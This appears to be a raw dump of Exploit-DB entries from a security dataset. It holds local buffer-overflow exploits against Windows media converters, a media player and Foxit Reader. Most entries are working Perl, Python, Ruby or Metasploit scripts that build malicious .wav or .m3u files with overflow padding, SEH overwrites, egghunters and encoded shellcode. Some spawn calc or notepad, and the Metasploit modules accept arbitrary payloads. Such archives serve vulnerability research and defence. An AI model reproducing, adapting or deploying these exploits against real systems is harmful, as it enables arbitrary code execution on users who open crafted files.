deardaniel/secdata-raw huggingface dataset:
Exploit-DB #36859
Description: Foxit Reader PDF 7.1.3.320 - Parsing Memory Corruption
Type: local
Platform: windows
Date: 2015-04-29
Author: Francis Provencher

Exploit:
#####################################################################################

Application:   Foxit Reader PDF Parsing  Memory Corruption

Platforms:   Windows

Versions:   The vulnerabilities are reported in Foxit Reader and Foxit Enterprise Reader versions 7.1.0.306 and 7.1.3.320 and Foxit Phantom PDF versions 7.1.0.306, 7.1.2.311, and 7.1.3.320.

Secunia:   SA63346

{PRL}:   2015-05

Author:   Francis Provencher (Protek Research Lab’s)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

Foxit Reader is a multilingual freemium PDF tool that can create, view, edit, digitally sign, and print PDF files.[3] Early versions of Foxit Reader were notable for startup performance and small file size.[citation needed] Foxit has been compared favorably toAdobe Reader.[4][5][6] The Windows version allows annotating and saving unfinished PDF forms, FDF import/export, converting to text, highlighting and drawing.

(http://en.wikipedia.org/wiki/Foxit_Reader)

#####################################################################################

============================
2) Report Timeline
============================

2015-04-09: Francis Provencher from Protek Research Lab’s found the issue;
2015-04-13: Foxit Security Response Team confirmed the issue;
2015-04-28: Foxit fixed the issue;
#####################################################################################

============================
3) Technical details
============================

A memory corruption occured within the LZW algorithm that is used to decode GIF. A specifically crafted GIF could lead to a controled memory corruption.

#####################################################################################

===========

4) POC

===========

http://protekresearchlab.com/exploits/PRL-2015-05.pdf
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36859.pdf


###############################################################################
Exploit-DB #11333
Description: FoxPlayer 1.7.0 - '.m3u' Local Buffer Overflow
Type: local
Platform: windows
Date: 2010-02-05
Author: cr4wl3r

Exploit:
#!/usr/bin/perl

print qq(
###########################################################
## FoxPlayer 1.7.0 (.m3u) Local Buffer Overflow Exploit  ##
## Credit : opt!x hacker http://milw0rm.com/exploits/9393##
## Author : cr4wl3r <cr4wl3r[!]linuxmail.org>            ##
## Greetz : str0ke, opt!x hacker, xoron                  ##
## all member at manadocoding.net                        ##
## all member at indonesianhacker.org                    ##
###########################################################
);
my $junk = "\x41" x 260;
my $eip = "\x28\x55\x3D\x72"; # 0x723D5528 -- dsound.dll -- call esp
my $nopsled = "\x90" x 19; 
# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com/
my $shellcode =
"\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x34".
"\x92\x42\x83\x83\xeb\xfc\xe2\xf4\xc8\x7a\x06\x83\x34\x92\xc9\xc6".
"\x08\x19\x3e\x86\x4c\x93\xad\x08\x7b\x8a\xc9\xdc\x14\x93\xa9\xca".
"\xbf\xa6\xc9\x82\xda\xa3\x82\x1a\x98\x16\x82\xf7\x33\x53\x88\x8e".
"\x35\x50\xa9\x77\x0f\xc6\x66\x87\x41\x77\xc9\xdc\x10\x93\xa9\xe5".
"\xbf\x9e\x09\x08\x6b\x8e\x43\x68\xbf\x8e\xc9\x82\xdf\x1b\x1e\xa7".
"\x30\x51\x73\x43\x50\x19\x02\xb3\xb1\x52\x3a\x8f\xbf\xd2\x4e\x08".
"\x44\x8e\xef\x08\x5c\x9a\xa9\x8a\xbf\x12\xf2\x83\x34\x92\xc9\xeb".
"\x08\xcd\x73\x75\x54\xc4\xcb\x7b\xb7\x52\x39\xd3\x5c\x62\xc8\x87".
"\x6b\xfa\xda\x7d\xbe\x9c\x15\x7c\xd3\xf1\x23\xef\x57\xbc\x27\xfb".
"\x51\x92\x42\x83";
##################################################################
open(myfile,'>> Traffic.m3u'); # Dj Tiesto :D
print myfile $junk.$eip.$shellcode.$nopsled;
##################################################################
Exploit-DB #15480
Description: Free CD to MP3 Converter 3.1 - Local Buffer Overflow
Type: local
Platform: windows
Date: 2010-11-10
Author: C4SS!0 G0M3S

Exploit:
#!usr/bin/perl
#Exploit Title: Exploit 0day Buffer Overflow Free CD to MP3 Converter 3.1
#Date: 09\11\2010
#Author: C4SS!0 G0M3S
#Software Link: http://www.eusing.com/Download/cdtomp3freeware.exe
#Version: 3.1
#Tested on: WIN-XP SP3
#
#
#Exploit Writted by C4SS!0 G0M3S
#
#
#Home: http://www.invasao.com.br
#
#
#E-mail: louredo_@hotmail.com
#
#

use IO::File;#import IO:File

system("cls");
system("color 4f");

sub usage
{
sub image
{
print("\n\n");
print("             ______________\n");
print("             <C4SS!0 G0MES>\n".
 "             --------------\n".
 "                   \\   \,__\,\n".
 "                    \\-- (oo)____\n".
 "                        (__)    )\\\n".
 "                           ||--|| \n\n\n\n");
 }
 image;
 
print("          [+]Exploit: Buffer Overflow Free CD to MP3 Converter\n\n".
      "          [+]Author: C4SS!0 G0M3S\n\n".
	  "          [+]Home: http://www.invasao.com.br\n\n".
	  "          [+]E-mail: Louredo_\@hotmail.com\n\n\n".
	  "          [+]Usage: exploit.pl <File to create>\n". 
	  "          [+]Exemple: exploit.pl music.wav\n");
 }
 
 if($#ARGV != 0)
 {
 usage;
}
else
{
image;

$buffer="\x41" x 4112;
$eip=pack('V',0x004D97BB);#Jmp Esp From(cdextact.exe)
#Exec the Calc
$shellcode="\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
$nops="\x90" x 50;

print("          [+]Writing in the Shellcode @ARGV[0] File\n\n".
      "          [+]Identifying the Length of the Shellcode\n\n".
	"	  [+]Length of the Shellcode:".length($shellcode)."\n\n".
      "          [+]File @ARGV[0] Created Successfully\n\n");
	
	open(f,">@ARGV[0]");
	print f $buffer.$eip.$nops.$shellcode.$nops;
	close();
    




}
Exploit-DB #15483
Description: Free CD to MP3 Converter 3.1 - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2010-11-10
Author: C4SS!0 G0M3S

Exploit:
# Exploit Title: Free CD to MP3 Converter 3.1 Buffer Overflow Exploit (SEH)
# Date: 10/18/10
# Credit/Bug found by: C4SS!0 G0M3S
# Software Link: http://www.eusing.com/Download/cdtomp3freeware.exe
# Version: 3.1
# Tested on: Windows XP SP3 EN (VMWARE FUSION - Version 3.1.1)
# CVE: N/A
 
#! /usr/bin/env ruby
filename = 'crash.wav'

# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
shellcode = ''
shellcode <<  "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc"
shellcode << "\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78"
shellcode << "\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85"
shellcode << "\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5"
shellcode << "\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c"
shellcode << "\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21"
shellcode << "\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5"
shellcode << "\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27"
shellcode << "\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3"
shellcode << "\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53"
shellcode << "\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f"
shellcode << "\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6"
shellcode << "\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8"
shellcode << "\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
shellcode << "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f"
shellcode << "\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca"

egghunter = ''
egghunter << "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
egghunter << "\x77\x30\x30\x74"
egghunter << "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

junk1	= 'A' * 4156
nseh	= [0x06eb9090].pack('V') # jmp short 6 byte
seh		= [0x00409F8C].pack('V') # cdextract.exe
nops	= "\x90" * 50
junk2	= 'B' * (10000 - (junk1 + nseh + seh + nops + egghunter + nops + "w00tw00t" + shellcode).length)

# [junk1 'A'][nseh - short jmp)][seh -pop pop ret][nops][egghunter][nops]['w00tw00t'][shellcode][junk2 'B']
#              (2)|   ^___________________|(1)      ^(3)--> (4)         (5)Tag found!--> (6)   
#                 |_________________________________|

xploit	= junk1 + nseh + seh + nops + egghunter + nops + "w00tw00t" + shellcode + junk2

File.open(filename,'w') do |fd|
	fd.write xploit
	puts "xploit file size : #{xploit.length.to_s}"
end
Exploit-DB #18142
Description: Free MP3 CD Ripper 1.1 - '.wav' Local Stack Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2011-11-22
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Free MP3 CD Ripper 1.1 (WAV File) Stack Buffer Overflow',
			'Description'    => %q{ 
					This module exploits a stack based buffer overflow found in Free MP3 CD
				Ripper 1.1.  The overflow is triggered when an unsuspecting user opens a malicious
				WAV file.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Richard Leahy',    # Initial discovery
					'X-h4ck',           # msf module is based on his poc
					'Tiago Henriques',  # msf module
					'James Fitts'       # clean ups
				],
			'References'     =>
				[
					[ 'OSVDB', '63349' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/11975' ], #Initial disclosure
					[ 'URL', 'http://www.exploit-db.com/exploits/17727/' ] #This exploit is based on this poc
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'BadChars' => "\x00\x0a\x0d\x20",
					'StackAdjustment' => -3500,
					'DisableNops' => 'True',
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 
						'Windows XP SP3 EN',
						{ 
							'Ret' => 0x1001860b, # p/p/r in libFLAC.dll
							'Offset' => 4116
						} 
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Aug 27 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.wav']),
			], self.class)
	end

	def exploit

		wav = Metasm::Shellcode.assemble(Metasm::Ia32.new, "inc ecx").encode_string * 100
		wav << payload.encoded
		wav << rand_text_alpha_upper(target['Offset'] - (100 + payload.encoded.length))
		wav << generate_seh_record(target.ret)
		wav << Metasm::Shellcode.assemble(Metasm::Ia32.new, "inc ecx").encode_string * 4
		wav << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-4050").encode_string

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(wav)

	end

end
Exploit-DB #17727
Description: Free MP3 CD Ripper 1.1 - Local Buffer Overflow
Type: local
Platform: windows
Date: 2011-08-27
Author: X-h4ck

Exploit:
# ############################################################################
# Exploit Title : Free MP3 CD Ripper 1.1 Local Buffer Overflow 
# Software	    : http://www.brothersoft.com/free-mp3-cd-ripper-84543.html
# Version	    : 1.1
# Tested on	    : Windows xp sp3 (en)
# Date		    : 27/08/2011
# Author		: X-h4ck
# Website	    : http://www.pirate.al , http://theflashcrew.blogspot.com
# Email		    : mem001@live.com
# Greetz		: Wulns~ - Danzel - IllyrianWarrior- Ace - M4yh3m - Saldeath  
#                 mywisdom - bi0 - Slimshaddy - d3trimentaL - Lekosta - Rigon
#                 H-Down - H3ll - Pretorian
# ############################################################################

filename = "3v1lf1l3.wav"
print "cr34t1ng 3v1l f1l3"

junk ="\x41" * 4112
ret = "\xDC\x3A\xB4\x76"
nopsled = "\x90" * 15

shellcode = ("\x33\xc9\xb8\xa2\xe0\xe4\x44\xb1\x33\xda\xdf\xd9\x74\x24"
"\xf4\x5b\x31\x43\x0e\x03\x43\x0e\x83\x49\x1c\x06\xb1\x71"
"\x35\x4e\x3a\x89\xc6\x31\xb2\x6c\xf7\x63\xa0\xe5\xaa\xb3"
"\xa2\xab\x46\x3f\xe6\x5f\xdc\x4d\x2f\x50\x55\xfb\x09\x5f"
"\x66\xcd\x95\x33\xa4\x4f\x6a\x49\xf9\xaf\x53\x82\x0c\xb1"
"\x94\xfe\xff\xe3\x4d\x75\xad\x13\xf9\xcb\x6e\x15\x2d\x40"
"\xce\x6d\x48\x96\xbb\xc7\x53\xc6\x14\x53\x1b\xfe\x1f\x3b"
"\xbc\xff\xcc\x5f\x80\xb6\x79\xab\x72\x49\xa8\xe5\x7b\x78"
"\x94\xaa\x45\xb5\x19\xb2\x82\x71\xc2\xc1\xf8\x82\x7f\xd2"
"\x3a\xf9\x5b\x57\xdf\x59\x2f\xcf\x3b\x58\xfc\x96\xc8\x56"
"\x49\xdc\x97\x7a\x4c\x31\xac\x86\xc5\xb4\x63\x0f\x9d\x92"
"\xa7\x54\x45\xba\xfe\x30\x28\xc3\xe1\x9c\x95\x61\x69\x0e"
"\xc1\x10\x30\x44\x14\x90\x4e\x21\x16\xaa\x50\x01\x7f\x9b"
"\xdb\xce\xf8\x24\x0e\xab\xe7\xc6\x9b\xc1\x8f\x5e\x4e\x68"
"\xd2\x60\xa4\xae\xeb\xe2\x4d\x4e\x08\xfa\x27\x4b\x54\xbc"
"\xd4\x21\xc5\x29\xdb\x96\xe6\x7b\xb8\x79\x75\xe7\x11\x1c"
"\xfd\x82\x6d")


PirateAL = junk+ret+nopsled+shellcode
FILE = open(filename, "w")
FILE.write(PirateAL)
FILE.close()
print "t1m3 f0r pwn4g3"
Exploit-DB #36465
Description: Free MP3 CD Ripper 2.6 - '.wav' Local Buffer Overflow
Type: local
Platform: windows
Date: 2015-03-22
Author: TUNISIAN CYBER

Exploit:
#!/usr/bin/python
 
#[+] Author: TUNISIAN CYBER
#[+] Exploit Title: Free MP3 CD Ripper All versions Local Buffer Overflow
#[+] Date: 20-03-2015
#[+] Type: Local Exploits
#[+] Tested on: WinXp/Windows 7 Pro
#[+] Vendor: http://www.commentcamarche.net/download/telecharger-34082200-free-mp3-cd-ripper
#[+] Friendly Sites: sec4ever.com
#[+] Twitter: @TCYB3R

## EDB Note: Didn't work with Windows 7.

from struct import pack
file="evilfile.wav"
junk="\x41"*4112
eip = pack('<I',0x7C9D30D7)
nops = "\x90" * 3
#Calc.exe Shellcode
#POC:http://youtu.be/_uvHKonqO2g
shellcode = ("\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78"
"\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3"
"\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27\xdd\x48\xfd"
"\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8"
"\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5"
"\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87"
"\xb7\x78\x2f\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca")
writeFile = open (file, "w")
writeFile.write(junk+eip+nops+shellcode)
writeFile.close()
Exploit-DB #12012
Description: Free MP3 CD Ripper 2.6 - '.wav' Local Overflow
Type: local
Platform: windows
Date: 2010-04-02
Author: Richard leahy

Exploit:
# Exploit Title: Free MP3 CD Ripper 2.6 0 day
# Date: 30/03/2010
# Author: Richard leahy
# Reference: http://www.exploit-db.com/exploits/11975/
# Software Link: http://www.soft32.com/Download/Free/Free_MP3_CD_Ripper/4-250188-1.html
# Version: 2.6
# Tested on: Windows Xp Sp2

#to exploit this  open up the application select file -> wav converter -> wav to mp3

#use your favourite programming language and print out the contents into a text file. save the text file as a .wav
#then open up the wav file and boom.

#feel free to email me leahy_rich@hotmail.com

#code
nop = "\x90"

#imagehlp
jmp_esp = [0x76cafa32].pack('V')

#shellcode opens notepad
shellcode =
"\xd9\xc7\xd9\x74\x24\xf4\xba\xcc\x7a\xcb\xf7\x33\xc9\xb1" +
"\x33\x5e\x83\xee\xfc\x31\x56\x13\x03\x9a\x69\x29\x02\xde" +
"\x66\x24\xed\x1e\x77\x57\x67\xfb\x46\x45\x13\x88\xfb\x59" +
"\x57\xdc\xf7\x12\x35\xf4\x8c\x57\x92\xfb\x25\xdd\xc4\x32" +
"\xb5\xd3\xc8\x98\x75\x75\xb5\xe2\xa9\x55\x84\x2d\xbc\x94" +
"\xc1\x53\x4f\xc4\x9a\x18\xe2\xf9\xaf\x5c\x3f\xfb\x7f\xeb" +
"\x7f\x83\xfa\x2b\x0b\x39\x04\x7b\xa4\x36\x4e\x63\xce\x11" +
"\x6f\x92\x03\x42\x53\xdd\x28\xb1\x27\xdc\xf8\x8b\xc8\xef" +
"\xc4\x40\xf7\xc0\xc8\x99\x3f\xe6\x32\xec\x4b\x15\xce\xf7" +
"\x8f\x64\x14\x7d\x12\xce\xdf\x25\xf6\xef\x0c\xb3\x7d\xe3" +
"\xf9\xb7\xda\xe7\xfc\x14\x51\x13\x74\x9b\xb6\x92\xce\xb8" +
"\x12\xff\x95\xa1\x03\xa5\x78\xdd\x54\x01\x24\x7b\x1e\xa3" +
"\x31\xfd\x7d\xa9\xc4\x8f\xfb\x94\xc7\x8f\x03\xb6\xaf\xbe" +
"\x88\x59\xb7\x3e\x5b\x1e\x47\x75\xc6\x36\xc0\xd0\x92\x0b" +
"\x8d\xe2\x48\x4f\xa8\x60\x79\x2f\x4f\x78\x08\x2a\x0b\x3e" +
"\xe0\x46\x04\xab\x06\xf5\x25\xfe\x69\x96\xad\x64\x06\x09" +
"\x2a\x67\xec"

boom = "\x41" * 4112 + jmp_esp + nop * 10 + shellcode
puts boom
Exploit-DB #36826
Description: Free MP3 CD Ripper 2.6 2.8 - '.wav' File Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2015-04-23
Author: ThreatActor

Exploit:
#!/usr/bin/env perl
# original p0c https://www.exploit-db.com/exploits/36465/
# credit to TUNISIAN CYBER
# however he was attemping to vanilla buffer overflow 
# in fact it is SEH based exploit 
# using the address 0x7C9D30D7 is limit the targets
#which I assume belongs to OS file didn't work on win7
#yes he did find a buffer overflow since the offset reaches ESP before SEH
#in this app,  SEH based exploits are more effective and the main vuln in this case should be SEH
#This p0c > win 7s & 8s
# ThreatActor at CoreRed.com 
##

my $file = "p0c.wav";
my $buff = "A" x 4116; # offset to SEH
my $nseh = "\xeb\x06\xff\xff"; #dat 8 jmp
my $seh = pack('V', 0x66E42A79); # 66E42A79 5E  POP ESI ogg.dll
my $nop = "\x90" x 28;

#msfvenom -p windows/exec CMD=calc.exe -f perl -b '\x00\xff\x0a\x0d'
my $shell = 
"\xda\xcd\xd9\x74\x24\xf4\xb8\x50\x99\x22\x39\x5b\x33\xc9" .
"\xb1\x31\x31\x43\x18\x83\xc3\x04\x03\x43\x44\x7b\xd7\xc5" .
"\x8c\xf9\x18\x36\x4c\x9e\x91\xd3\x7d\x9e\xc6\x90\x2d\x2e" .
"\x8c\xf5\xc1\xc5\xc0\xed\x52\xab\xcc\x02\xd3\x06\x2b\x2c" .
"\xe4\x3b\x0f\x2f\x66\x46\x5c\x8f\x57\x89\x91\xce\x90\xf4" .
"\x58\x82\x49\x72\xce\x33\xfe\xce\xd3\xb8\x4c\xde\x53\x5c" .
"\x04\xe1\x72\xf3\x1f\xb8\x54\xf5\xcc\xb0\xdc\xed\x11\xfc" .
"\x97\x86\xe1\x8a\x29\x4f\x38\x72\x85\xae\xf5\x81\xd7\xf7" .
"\x31\x7a\xa2\x01\x42\x07\xb5\xd5\x39\xd3\x30\xce\x99\x90" .
"\xe3\x2a\x18\x74\x75\xb8\x16\x31\xf1\xe6\x3a\xc4\xd6\x9c" .
"\x46\x4d\xd9\x72\xcf\x15\xfe\x56\x94\xce\x9f\xcf\x70\xa0" .
"\xa0\x10\xdb\x1d\x05\x5a\xf1\x4a\x34\x01\x9f\x8d\xca\x3f" .
"\xed\x8e\xd4\x3f\x41\xe7\xe5\xb4\x0e\x70\xfa\x1e\x6b\x8e" .
"\xb0\x03\xdd\x07\x1d\xd6\x5c\x4a\x9e\x0c\xa2\x73\x1d\xa5" .
"\x5a\x80\x3d\xcc\x5f\xcc\xf9\x3c\x2d\x5d\x6c\x43\x82\x5e" .
"\xa5\x20\x45\xcd\x25\x89\xe0\x75\xcf\xd5";

open($FILE,">$file");
print $FILE $buff.$nseh.$seh.$nop.$shell;
close($FILE);
print "+++++++++++++++++++\n";
Exploit-DB #49087
Description: Free MP3 CD Ripper 2.8 - Multiple File Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2020-11-20
Author: ZwX

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Free MP3 CD Ripper 2.6 < 2.8 (.wma.wav.flac.m3u.acc) Buffer Overflow",
      'Description'    => %q{
       This module exploits a buffer overflow in Free MP3 CD Ripper versions 2.6 and 2.8.
       By constructing a specially crafted WMA WAV M3U ACC FLAC file and attempting to convert it to an MP3 file in the
       application, a buffer is overwritten, which allows for running shellcode.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Gionathan Reale', # Exploit-DB POC
          'ZwX'              # Metasploit Module
        ],
      'References'     =>
        [
          [ 'CVE', '2019-9767' ],
          [ 'EDB', '45412' ],
          [ 'URL', 'https://www.exploit-db.com/exploits/45412' ]
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            'Windows 7 x86 - Windows 7 x64',
            {
              'Ret' => 0x66e42121 # POP POP RET
            }
          ]
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00\x0a\x0d\x2f"
        },
      'Privileged'     => false,
      'DisclosureDate' => "Sep 09 2018",
      'DefaultTarget'  => 0))

    register_options(
    [
      OptString.new('FILENAME', [true, 'Create malicious file example extension (.wma .wav .acc .flac .m3u)', 'name.wma'])
    ])
  end

  def exploit
    file_payload = payload.encoded

    msfsploit = make_fast_nops(4116)
    msfsploit << "\xeb\x06#{Rex::Text.rand_text_alpha(2, payload_badchars)}" # NSEH_JMP
    msfsploit << [target.ret].pack("V*")  # SEH
    msfsploit << file_payload
    msfsploit << make_fast_nops(4440)

    file_create(msfsploit)
  end
end
Exploit-DB #15499
Description: Free WMA MP3 Converter 1.1 - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2010-11-12
Author: Dr_IDE

Exploit:
#!/usr/bin/env python
##############################################################################
#
# Free WMA MP3 Converter 1.1 Buffer Overflow Exploit (SEH)
# Coded By:     Dr_IDE
# Date:         November 10, 2010
# Download:     http://www.eusing.com/free_wma_converter/mp3_wma_converter.htm
# Tested on:    Windows XPSP3
# Greets:       edb team
# Notes:	Egghunter was for fun, not required though.
#
###############################################################################

# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
# Egg is already injected
code=(
"\x80\x87\x78\x68\x80\x87\x78\x68\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59"
"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42"
"\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43"
"\x4a\x4a\x49\x4b\x4c\x4a\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51"
"\x55\x47\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c\x4b\x50"
"\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a\x4b\x51\x59\x4c\x4b\x50"
"\x34\x4c\x4b\x43\x31\x4a\x4e\x46\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49"
"\x50\x42\x54\x45\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c"
"\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c\x4b\x51\x4f\x47"
"\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45"
"\x4c\x43\x31\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51"
"\x4c\x46\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50\x56\x42"
"\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x44\x30\x45"
"\x4c\x4e\x4d\x4c\x4b\x43\x58\x45\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42"
"\x4a\x50\x50\x43\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b"
"\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43\x51\x42\x4c\x42"
"\x43\x43\x30\x41\x41")

eggy=(
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
"\x80\x87\x78\x68\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7")

nops=("\x90" * 8)
nseh=("\xEB\x06\x90\x90")
rseh=("\xEF\xF7\x4A\x00")			#Universal P/P/R - Wmpcon.exe		
buf1=("\x41" * 1000)
buf2=("\x42" * (4116 - len(buf1+nops+code)))
junk=("\x43" * (8000 - len(buf1+buf2+nseh+rseh)))

evil=(buf1+nops+code+buf2+nseh+rseh+nops+eggy+junk);

f1 = open('Dr_IDE.wav','w');
f1.write(evil);
f1.close();

#[http://pocoftehday.blogspot.com]